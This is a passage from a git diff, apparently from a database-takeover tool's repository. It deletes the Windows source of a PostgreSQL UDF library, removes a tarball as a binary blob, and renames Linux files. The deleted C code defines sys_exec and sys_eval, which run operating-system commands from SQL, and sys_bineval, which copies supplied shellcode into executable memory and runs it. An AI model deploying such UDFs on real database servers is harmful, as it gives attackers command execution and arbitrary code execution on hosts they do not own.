- waitpid(pID, 0, WNOHANG);
-#endif
-
- PG_RETURN_INT32(0);
-}
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
- __try
- {
- __asm
- {
- mov eax, [lpParameter]
- call eax
- }
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
-
- }
-
- return 0;
-}
-#endif
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c
deleted file mode 100644
index 48cabdcc2..000000000
--- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2009 Bernardo Damele A. G.
- web: http://bernardodamele.blogspot.com/
- email: bernardo.damele@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define _USE_32BIT_TIME_T
-#define DLLEXP __declspec(dllexport)
-#define BUILDING_DLL 1
-#else
-#define DLLEXP
-#include
-#include
-#include
-#include
-#endif
-
-#include
-#include
-#include
-#include
-
-#include
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-#ifdef PG_MODULE_MAGIC
-PG_MODULE_MAGIC;
-#endif
-
-PG_FUNCTION_INFO_V1(sys_exec);
-extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
- text *argv0 = PG_GETARG_TEXT_P(0);
- int32 argv0_size;
- int32 result = 0;
- char *command;
-
- argv0_size = VARSIZE(argv0) - VARHDRSZ;
- command = (char *)malloc(argv0_size + 1);
-
- memcpy(command, VARDATA(argv0), argv0_size);
- command[argv0_size] = '\0';
-
- /*
- Only if you want to log
- elog(NOTICE, "Command execution: %s", command);
- */
-
- result = system(command);
- free(command);
-
- PG_FREE_IF_COPY(argv0, 0);
- PG_RETURN_INT32(result);
-}
-
-PG_FUNCTION_INFO_V1(sys_eval);
-extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
- text *argv0 = PG_GETARG_TEXT_P(0);
- text *result_text;
- int32 argv0_size;
- char *command;
- char *result;
- FILE *pipe;
- char line[1024];
- int32 outlen, linelen;
-
- argv0_size = VARSIZE(argv0) - VARHDRSZ;
- command = (char *)malloc(argv0_size + 1);
-
- memcpy(command, VARDATA(argv0), argv0_size);
- command[argv0_size] = '\0';
-
- /*
- Only if you want to log
- elog(NOTICE, "Command evaluated: %s", command);
- */
-
- result = (char *)malloc(1);
- outlen = 0;
-
- pipe = popen(command, "r");
-
- while (fgets(line, sizeof(line), pipe) != NULL) {
- linelen = strlen(line);
- result = (char *)realloc(result, outlen + linelen);
- strncpy(result + outlen, line, linelen);
- outlen = outlen + linelen;
- }
-
- pclose(pipe);
-
- if (*result) {
- result[outlen-1] = 0x00;
- }
-
- result_text = (text *)malloc(VARHDRSZ + strlen(result));
- //VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
- SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
- memcpy(VARDATA(result_text), result, strlen(result));
-
- PG_RETURN_POINTER(result_text);
-}
-
-PG_FUNCTION_INFO_V1(sys_bineval);
-extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
- text *argv0 = PG_GETARG_TEXT_P(0);
- int32 argv0_size;
- size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
- int pID;
- char *code;
-#else
- int *addr;
- size_t page_size;
- pid_t pID;
-#endif
-
- argv0_size = VARSIZE(argv0) - VARHDRSZ;
- len = (size_t)argv0_size;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
- // allocate a +rwx memory page
- code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- strncpy(code, VARDATA(argv0), len);
-
- WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
- pID = fork();
- if(pID<0)
- PG_RETURN_INT32(1);
-
- if(pID==0)
- {
- page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
- page_size = (len+page_size) & ~(page_size); // align to page boundary
-
- // mmap an rwx memory page
- addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
- if (addr == MAP_FAILED)
- PG_RETURN_INT32(1);
-
- strncpy((char *)addr, VARDATA(argv0), len);
-
- ((void (*)(void))addr)();
- }
-
- if(pID>0)
- waitpid(pID, 0, WNOHANG);
-#endif
-
- PG_RETURN_INT32(0);
-}
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
- __try
- {
- __asm
- {
- mov eax, [lpParameter]
- call eax
- }
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
-
- }
-
- return 0;
-}
-#endif
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz b/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
deleted file mode 100644
index 1ea6a0eb299cb8133f513b75d18151f722da687e..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 11430
zcmV;XELqbZiwFSYQS3VUVSgnNe()WC<1NB7}Eypy~Ec_mso7+p|mAcFFbx*s{qc8`|Bno3`Pc
zbm^XQb`L#f*Gm(cLRui&d*{vAW5teTI}r)YO`hMp_wKvz-gobN^X_{yqd4EorUXgu
z7dh$Scskn0N<$LsbT}QZI_46A6QHS~0b^HFgHs=Cz_?tlCXchh+2jH|S3{%Q&5(vm
z#lXcNEy-b#5Qa}aoaUve@un-kN+Es`{m1!adhilh!OZpF*wpAU^j`{?UjH58om?Lu
z=VspqD!8$}ek%RDRQ=aG8=IP(O_1+)*1J3mab7wxr-skC{@eWz^s!vaTh0&+AbHVm11F$ixNqUC`FT6
zl>^8ML=rB7AqiHCB#V3sC=O1K8Ueh%>Ci}(oeEh!H6@VTQ?%rssU`PJEBRCylSqCs
zRGs8gqZK3h^y42To12ZzeEtV)r!oJR0*cc=TG{N|n6dudaKAA0UlJ%@|5MCtMYJ)^
z{lB5H!L8l@J)Q;^=)b~hm)L;
zmWW+Qabj5Jll|2M&}A+`;@mDSPWsZxh|CK~2`D!UsUeZ?kIBT|TuoqL-$}?uPE3Zy
zs6bl62`+`oCe_x7e`j_@)GC!=+O
z2=x;}lO1)NOB&ae%S_L2<#vWToIOt~%+lB>(1Uba*aA~cn6l;he5_?!i
z{zW3BuwpeZJw)PR;Et#@9h3LLxTsOWCl$IeP$XOcMUZrWhviQ%N7544myXu}1;8bn
z{h@oidP2n8xs`181_IvB(AIT|Q3y~9TBnrwL@Le$VGv6UC*>jF90+vy0?qeA4ev&O
zyFauQ*>ClSI(@+)Y3&LSFX{FMLjLBSc5i@m_XN7Tf<6Z!L5|b<7<+TFUe2|rCwJwj-MMzK3TVY)dW1zx%E3_R2-z>>R?d)cMr^j7QcJH2$)mT3;#yUMKP}bVh*&OnBb+Z1>)-HCF%Z~R%Zjg&q112{J
zgDeR&K?;9IcUK?;^O&4Y5Dm$$r{E2=1*^#;U;{E#B&)+>|1Kw4k1VzMLQu+vd|N_n
zx7~@fEqqe;xQT+qO8l3&@jU2~bXYui#Oy|N!RF@
zt=19WHlDo$8d|m8xr&mjTMd7@lJOxNIXD9kz(j%L24;Ai*delacENPut09%mDyP`3
zX&gRl$!$_)4N)6W8l+>vGS)xzR%F+s;JmNTfGpHez~^KAt!#5w_f{%R4WU|q!hkQ-
z6F>t9dE9nN8;kZ_)IxTJC=%s}#l%!*Q)nV;2Ca$dR)4#XtWNQ%adeoC
zxNR<2f9)8j3KM*sgNX>s;Nml2Y@neu+)1NF7+Zl%iWnB!W9m?aG;ME7z0Gp7wTXD;8B9Xz;QK7ZewpzmPkT
zqwLXw8dasx?J5yk4d^7X^VRBWCTPB9BJP-og`}`_50yF+7bMQE@J{6f9oSX-Q-z?3
zZIno@3zg>_bUMe0=aIZF|8lPXr}zK(BzQ>ixI>D~wvB20KaZz={Q0k@di4LCO-+XX
zR}#2&WnC|ytm_R+G3%}5GWmf(xoAHSaEtW=0d+b*5K!R%ocutjKYKqAD$m6agz9tm
z11Il;8Tx@hVQzjP5SX(ch`l*8Kak2kS3gj%#o7CTK;_cF?foNcy;oi8?*AazB
zj;aLsf}sH`aITjRC+m88(@8l^9)gLUi0R~75X_=6Svk&mC0W0oKu5SMHICJmpnq#&
zb*AxfAHP0lEh(vb*QDvZqdP^A@X
zEBLh>sob9Ij&or!)s!gg;=v_9Ngk6n3uwmG$4r3yVex2M`~ll>;&1aEWFDmk&b^!YGHC#zpR${Knyc%OVXTozzsR^%feNVqrye%b0mw
z*e{>-{q;(R>DPZ#s5}e?!VN#{npiWR%>&>=MDJ?
zbX~yL-R^Dn5p54~eB+sJaL~PkAgEccC*B}gg|GHZ`TobM8nQ|wu!^*MJKK7^Z9dXG
zMh17C2(+Ta{?2Z&2Y*LL4=A?Xw{BXtaKCdRTgom@@oWKsS+Mmay|Wz7#gq)+eVf@r`D-ZW3w7#+t;Yq
zH$b=v!XgMjj#&uddI;reTa$q%dl{q33$O&`QLmvJn57V|g>Yj*-J8`|Tc6m}_&SxI
zP2~^UeuDX?$^3fDR+~x(={x#EU-(Y!)g^z;zPjY)|9*P+M&BEwo(Do-IQ8(B1ngIktIjzQ&J5(bpl1mR`u*gEHvqGc4Pm5Rxp;JTl8NET80MhV6q0
ziXwwyybQj(FZ6Px2<@L43LyPr*j`}qiqjy99(N9;a<)t2!EIk1Ap
z9B`9_uq3lld>DbDho}rav}BaSX+}LLX4Io#MmdsZ=t(ZH1P8=F~hY8{@j>-w=P=Xg2x**sO3WfT6H
zVZ339X_9}KYi54RjE^a41+UCVzg6>=@_Yr(0(muUQ_^LO#YEHBDd~C4_3B_C*U))j
zwHnu}@pEciPH4Oh((_>QxY3djrUrs)`N*+E5;B|+Ii4DBQPH>fXQSOW0>?#V~mp^@Ous9
zn=yuTPxkF#X4E`_vTl3q=xLana?hO2=kxo1CeI)F0_2Vy!9Uxf&X#RIKAL|KXVCm}
zOUX;t=oS8LOjU0rWTnqKxo;qn>9^VKRp#6QB$i!Tr6Y|D
z4DZ9r$VN`dD^m!M@u^VA9l$2Dp{jCZ25+QlEfs6u;l=v~@?&^v84S{K6_G8CTY1avTUa+}lgqPrsU@d#JI?0P=W=^K%8u?hx*vd!kKvDjsiP0UjU$(_
z0b=G{UcPzwMZ6q7csuq~=3R6CL~a2Tq|a)0tsB2is5-JA+Sm$XRb&`-PNZv*TVV`G
z=@h_hU<@$800RurAg``hv={;BPFzpoeFxX}xP-zrJ+6Y#!TR0#yzqpH`hap7_1R9E
z=ohGc7IWnJKFPl&O81#WP|5NiF&*$^PkIV{h0`hbk
z;-?|~2Z%NQbEbekw+43uH`z?4v)iK>q;vrm%Ex~T$xA?DF$wf
z9PR}lIhl6E!cvTJM2C{nP=dy?NK4d1vIz+m%0w=Xc=RF_ml=oRlR5CXf^jIGnL`v5
z-^Rhk*gi3w;21|l7DNdepwUASQE4ok;3Lq0AS-_;HChv#A_h+=@!^&k=nMBIP}gWf
zC)IFJwJij*8qnt62fIK#v`q}{li=N;;wtn^G%EzJG!-+UhN8UBp8h$8d{ovp~DN
zjiL65cxam#>UHhTQv)bUv1hzSo5s-1Ol%jy%g}ukWuIt14JQiZz%lYg9UhJ)4BD8p
z>hOXpeH^1WmNDq}7PWReb$Ip#G!)`t*s8z5HPQ_F7
zVWELcf|tBRap^F
z+1p!8^=8)LA^m4`^w3`&Sxo0yJv|Ix*WuwDdUi3LKMV1m)!`|AxovX({z`3Mkr(h5
z+9sFxd1m6C7~;L8OPh4DPVLM;1K!_Hf_EiDk^BF1dHs8K=Rd~xUrPc->wk{tKT|*d
zHO2Xl%Q*ij1sLZ)#`(`@;r!=(IbHAQ&wq{?=Rd~z&kWChzBR@9&rRz2kEove{J9$c
zS;6_wpQz_QrwY!0zN?=9yr-W3d`><8*`S{PY*NpEeq)^fTy5t+w?TZ5aRM}_6Cf!5
zL{5KZqPr{h{HM}5|1rP-0}PlHjPoDk{Kq)|G0uOC^B?2<2f;Z1q5J;>d@?EwNOS%L
zz*(ICcwF_y`A;dJ82!)n7rqoM!H4>QsKY`*|L
z&G$bh`Teg3x6AncTS>t9{x}|Ih6AzZ%?b8~(rH
z{~N#mb;UYlSEKiD`2JU=sTscir@{9(e*ddjD8~PTTYRaX{{UCe@c&Bz#p=Jr&wqHD
z4E>h`W}^Se_kW;tnl`5S{&T&m|9ZEx(bM2Y{WmnYnvDIQQb5Q3`{{GS3_ionFo)Fq
z4Mo(&m(LchczF?X(DM4qL#FoES1OwgDN*Pb!wKA40nZrs62x>8_ZnKdg7{N
zdNsaVi35BjhV(REyL}APZYpE`urlM<^4?}SRv^q$9Tpl=b|Xca9VqvtcUPY-^XVa_p>?m_JZXB|WzAAfHAVlcX!VeTyg
zPlKNBEp!+?IL_~chodP=ZvmcbjA@jA(S>*$0M8*xVnoA(ipm4uOD@1WJOdUDxIEx-
zI6bKUl@*qGmSclYe=G5qw)xlhFwBkk@&{p<+ZpB?8+Q56gMHf09sSAT>lWsJb^g&{
zPcB}yFz2&v+T1X}T|e!#z)J8V;Is=K`CFb^qq$
z<|gKYM@J(!J-#`2y8Nq|W6Rg=u*sI-#tr{={>{+}Gn+g9z>aN41>4K{AMAN-wA{Sp
z*?ENV9LqjlWv<8xfA{_`7A)Lg8~#e|;6Lm+oRo7-Prb1z^V$=qHU|>}zxdOKOj*wx
zvEHS@CtrF0%~PKIQ%{iKaH#5z8-syt{{6)0_Nu#X+fZpK6C|*6q4=u;o8je3%TbAl+r>H{15++N-MW>!|s^x4*Y4_wgT*^ugTr
z^RImWMca3RH|_uZ-n$uj{_&Qk{LAl`z4`CQ`!oOF-km@-b>$5JPsqMOKnP)vfP%^%
zP%t1MprD9hF@S&&vJfx{X%>)C1RK#}q|&-?Q*HHgv@W=?6-5+_+Df%fOQ8Y5*0K0O
z1hoSykoUcpghks<+pnF@oSFR3c_-)Hx89eK+NcbFb?rF3;&*+|0h<6XYgj-F4LY)5QZ$
z?zXfZH%$7sVT73`eLIIv63E}3M~B+%i_v^x)sXVJ3IA?t8gS^M
zP0iVqrA*&cuK=@+o4>NxFs|DqOsw;(H5K4cWme_Uq&wR
zL29H|nP$$lz!Y?>-)N|ow78NPu|MtRRU#~pEGt=S7h&Ok=h_R^Q&k4mKIuNMaP0&7
z&GgaoVj6ao@nmIa4TTdlKhpZa8399mbw4mDM=7-?3a`Wcj4Sd#voh~|=Fur(ta<=L
zY&VY^>M2-h!nCB6THyRXTS)@kv~YzhmliiI`782%t3vODyJ&OL$m$D;!+8ir#B%oL
z5Vb#IxQF#Exg
z(;@4pA8g*$PXQQ`b!C5b&9iGuqF-!SQ5?B~NJ18*W&}Ea&GaI>xg#>C(`2$|{0NkN
zxfQkC!LmHSUtK68mxmDfTd9F)lE-=frRN>6DCCTj#f3{@o+YCPwpse@WDVVZPvnY0
zx>rPD{Z(Z>qlZo(tT=l@vJ-A^!x8qi(_E)fal9s+{rO$Dy8^Px%i8_$$j;e=6>Nm1
zzu+MH7+rfon3^|CE%F?w8Y;F|hR|RyTm)%<<)E_d{)BeD*Z)55CyJhh2+_3xE{N^^K-WUZH5|?(J5S`9q8Pc+7U-VUm0$atj$xKFz%uI#(-qhA1(S+H`&`O`odJuHdX9kU?vGbi4%Jaq6En7KzcS-U~eh^%a
zOyY(IBd%-+WJW0l%I!u+=y&T0aQkSg*^ch38SA_EZSoB5i1xiAq;;EsMStyZt|HZuFeS
zw80XwjPSa_G&|QTy-ve~9(Y-U<_kPxxeY9Jhw5*A?Qwa#_QF32IokB{9HrlKuXls5
z3&-s&Js1@h`QnWjm)N5gC&~ScdQ%RLP5$_QMhJ*)sROJRb3dJ{PN)#@u;Dfga#dzpP3RsM7Z(od
zKuUU+$vGDnK@tqM178FsSvlXoAn*7UOLG?lSAfp_2oVOCMg!~1{fgr)$V(FvBNKrV
z0LWgu!(V&BExfU(A5R5F)1o;1v4@nP3Os0QzYpc@OM@wU`u)F1v3?FVJ1f+$pl-?c|4AMff}e8
z)pxXVoF;l%Rte4PH;nOg&vkY1l5n#>U*}D^QEjsub0;ff#(uNwWtg~|?5=nO&+Qh5
zEqCj0GHZ9j_8|Zo3?4HWew_A+vooCEO*(6HITC;=4w<@7tDZ
z$neEHd4xhLh3W;o12Coe(34bSxQV(E^`u-8FI=`LSI9dxMp=uaVmYfL@)h1BRrTeu
zcm+>d#64Ic7Hx{BYmNx&gTLfDul;y|BB6-=0oE)B1
zq#im~UyzizLM#a5`f}O6!|JFti*%qVTViuaG%Ky%BFVa&E5b#x9nE7Zg);Ri5pi|c
zL6KxLZ*ly_>WBME3RlECUln$ovrE5bRk(Iv8NDnxlanj=7j=_TMEFeqOtwgtgIzPQ
z{{9(r0yj^wFq6;CEg)q^NF-q+&0nW*E?z5&NY`Zt7u86u&<@a}7
zEXAW;ylk2oPcwvbA!XW0{WD`lB76Q<+G46WnVTtAghYziomX3GIF3?(v8=s|s2*~_
z@}J5*PD{o0YR1-$veB;D65fi3c+LJOGY;m0&-_~4XO{+8H$GG4=SPgRW!E^f#F_G<
zAp07ofMi>4wIx#u*25DoT=dQnNmO0Wy%0%G1eCpL=|>6?0NgfVk$tE*CyL8#g0-u;
zwK?WZG9*1JN*yx-laTOT^LfI07*ZMY%kt=21)u{#FDkg%pBXSckH3v|PO(=tAfEnG;PN
zmZ7X&NJLkxD=hH};50ZB?T^et_F|Ft_DER53$qVPV&N!VFU#N1y=v;8mrG28Raz0~
z!A}s;sQsf?o6%W-(l?z^ELR
zk4MebQcayM_sV36c@tbM8&Kd3v$6-iHwcWb)@nUvhWG~
z_M=#^cvbmuy(f64TQG|~dV}GG!=<4x#Zwh#OD2+kr5AgpiM;9BtmmbDz3@S3Thv?a
z-*kYLXTo4A46aEYtja`IZ1lMx1?&2Zsl1K_b|Gaj*iLYF*d}>r`HSS}r>9o{yRcv(
zxH_gBp=?I>-DmqYfsHBfR4P`D`Zj?pgUg(Q2MW#M%__vEYr3O?2SoIJ<7x(ene$cP
zp-uX}QJp4&`vDI>2;~g|`<~3CJY-@r@MXnj4A`44rInOsxtF9clbBFp3cDiGwKNYF
zbWQP6*G3)OjG2B
z>mE2B;>>3YWjyBv!QMZy@#Mk1fBNXb-mjc%u=hlz_48bwgeT_m#GLWEOq9sO4cB_|
zIOA7823id6k_O!v5#n5!E2jH7)5L5MIJ0d0x_Pl8f_%Ip5|W(9?;i?r4)XHx^7Hla
z^YaRHhDP
zBmt*VaC+OY-T}kw`-a!0Q3-KTv2;JL$kN
zsLwBeGE859=hzEQqtLm6-;brxFeErtf)fpz!1cYrDGZzvz$tCx_}?{@S@EYw_Wx0`
zNkeMM*V0c;ESe~R#uK68LQjT!h)2kezX!(n*TgUPpFi~eZ~DBsM*sUG;@7*7LWlR
zHqo3{0Fw*|5#YhHu6x{Fo@Entna8G-3Vjg@iz4om7@s|RgW#T?MZ~!7e
zb$g)(Vn9|xxsCvjderK(NvBol9k35k5d+&Y4uO6Z9>uj4)r|G-Yhn^zbr9IT{qZ&f
z1}1o@#+dCLLsFXJjEYUJO0>=lT-RJ_3Sl5}9tGmS(_`lvV3G>1Yd$1`bv+yEpVqf{
z*dKv84Y|oQ>>AqCCY)-4`NNMlt-7nTz(slsRA|-?)Lln8x!Z>IxM2pmhYzN!bQU-tvcM5p
ztzF0z3%uL?_)@yu9gd<+D6t(1ZnkEj;Y2v%oj5Yg!}6
zEl^!EbP922(gHaJcMJNC4H3suBfZqgZ<*^Y(C%#-Ar!K}%iqr()q5ahfoVDmJlAlk
z9&4X8VS#C?vxATa>MZbnE8uiyBjZ&Iq=@T8tjs%l3k<0<%Q4pqEh(j}=F8hHa0vzq
zTzQROc79rNp?8ATRuga+ZLX(4_U(e^rRH7zXC(W+pa2ZlJiEeL{M$oG#nF%izMJ|9Dtl8#pflYa
zA-)%DmpPp_E`cLrvDmUaU_t`hi->csO=?RLlaCnWGlYJ{{oaGS<0p!w9Dk01@y
zNubCjt8uBE|7ZKo*=bu(K^TbZ`P+;O$#!?=t1(5L8*{dI3iqUT#HmHv0SdZn0t59B
zXzNh&XdD9*O_)I^zc+1zFwkcPjbJhB0d09M>0YCG0EB^F{2;gtcsj5oMKEcBItR2X
zP?qQ{@Vl!SjL;d40iIoY3yeCtR9LIGKp2*44s_dA6g)TtS>S{N(yP0Br1*sg^cL71
zH`mFuV|kwT1Bu{EF7=^ZpoIx!fwLYp+;8*c(?6CBazC&w_aRaiM8x6*%LgUJ89CYg
z76U7Gdro843U+O_!FpgBb6l@jy(zih>ojcE120E>QJ_A)+(Bo7yJoeWJ$MlQNyzc0
zmj|j(2gs|7VMz!7S-r2
zaP&!76?$Lr>Cr76O*5|)lA3q!qTAcI#K&0{-8;Lkw;0R#{3vt}>cAo}Qqr>oV4G`k5)Af*yVX;Z>97iU
zPDk-kOLJ!g7ZJw0L%a)@MrQ!Pn8mmS!fVGuqrYp7s|J91fO<##1Mfy6kuzz5;|>S_
zYT(B#aNGg4wY5W2EzsbAqZ*+52NtOBaE$>#%@hliWd{1CC+IDZc76Q@n$82iv=KhN
zlv0SfW2R6lc7AvmBSLIIFlKCayM-w>bN&2aRl5_8fN;9w4z@>4iV;WO*XS(p#1_{#
zp=Ml`4}hQDw9pa&cIUi8fd&S=1OPXFNP#$Q+j`Xm1?m~_)W=_UPf{SYTYGBcH44-*
zVEP=O_7w^&(1_M{Oi*CdnnkCo_Kb{EAo5Pl4u}G4^3T;6D3G|iwO-RUPJtzSxV1Lz3~G$&{ZFAu&-fhnBJxI<%X0|ma*S>wajQD6~O
zxO%`!M}gvH<}(SDX=Xf9W5LMA2@0f&)6TC3CMb~OC|xUNb07+Iz_y4ti3}9DQP$e2
zanMs>)GAroke&hu&Z?2$=_#;g)8XRP;}mF1NpruTqd@$hLt3xuDNvFFPnQf#p+F#q
zMW$169uyZ(g7qwj0ym-21_mq{0e~N;Ks^Jxbpy4pQy})7sM~9j0x6HXwVEjucoCvN
zbgo~=y;fi<1rj1n2J>e>FPS2Nevkrs0_?v-{jG5cBx3iB%}j%xv?2%}HV*405HsB1
z-;KyZ%HDJggU=S;-gQYYfpz?v{0@Tz!an4$P1H%?m$e=RG)Mxyh0hQ%dI|gpU)dZn
z*G?~ipL((@)ASPf(Llgvy#(&?saw{O3rV0%n$=Bc(@S7$>*rXV1TsgK-K04#wA<AH*;5
zpPzX2>l;7kKI8E-`G5WBz5%a4|J8qPfYE>ci140G`=_P<`4!oJetGhrpU?e+$Nk34
zKffjM&u`27^LwQI`LXK%%A`NPHRsRokn-nOXZ(Sx{af?>{4VK!e(!8Q_}Sigd_+Q2
zcv2J%ymSds%-HaVDB5@qk;%j}`UD61Tmp&U+bs8|g(uS7e)6~7&4cDPzOfrEHau?e
zitxozw1|maKp7`!;1P7MF>y@rvk?uLHPF_7FT?U6=c1qyJ|BqAp
zSAUrr!x+XehB1s`3}YC>7{)M$F^pjhV;I92#xRC4jA0C8{2Rpo0l%~_#{lpE0Jco8
AAOHXW
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile b/extra/postgresqludfsys/linux/Makefile
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile
rename to extra/postgresqludfsys/linux/Makefile
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh b/extra/postgresqludfsys/linux/install.sh
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh
rename to extra/postgresqludfsys/linux/install.sh
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/linux/lib_postgresqludf_sys.sql
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql
rename to extra/postgresqludfsys/linux/lib_postgresqludf_sys.sql
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so b/extra/postgresqludfsys/linux/so/8.2/lib_postgresqludf_sys.so
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so
rename to extra/postgresqludfsys/linux/so/8.2/lib_postgresqludf_sys.so
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so b/extra/postgresqludfsys/linux/so/8.3/lib_postgresqludf_sys.so
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so
rename to extra/postgresqludfsys/linux/so/8.3/lib_postgresqludf_sys.so
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/linux/src/8.2/lib_postgresqludf_sys.c
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c
rename to extra/postgresqludfsys/linux/src/8.2/lib_postgresqludf_sys.c
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/linux/src/8.3/lib_postgresqludf_sys.c
similarity index 100%
rename from extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c
rename to extra/postgresqludfsys/linux/src/8.3/lib_postgresqludf_sys.c